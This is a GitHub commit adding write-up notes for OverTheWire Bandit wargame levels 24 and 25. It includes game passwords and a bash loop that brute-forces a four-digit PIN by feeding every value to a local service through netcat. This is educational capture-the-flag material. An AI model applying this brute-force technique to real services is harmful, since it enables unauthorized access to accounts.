Skip to content

Commit

Permalink
checkpoint
Browse files Browse the repository at this point in the history
  • Loading branch information
alfredgamulo committed Aug 24, 2022
1 parent 8dad8c8 commit fc90ef8
Show file tree
Hide file tree
Showing 2 changed files with 30 additions and 0 deletions.
19 changes: 19 additions & 0 deletions OverTheWire/Bandit/24.md
Original file line number Diff line number Diff line change
Expand Up @@ -5,3 +5,22 @@ ssh [email protected] -p 2220
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ
```

The challenge here is to write a script that loops and calls netcat.

> seq 0 9999

```
#!/bin/bash
PWD='UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ'
for n in `seq 1 9999`;
do
echo "$PWD $n" #echo a line into the stdin of nc
done | nc localhost 30002
```

> Correct!
> The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
>
> Exiting.
11 changes: 11 additions & 0 deletions OverTheWire/Bandit/25.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
# Bandit Level 25

```
ssh [email protected] -p 2220
uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG
```

Need to manually select the shell



0 comments on commit fc90ef8

Please sign in to comment.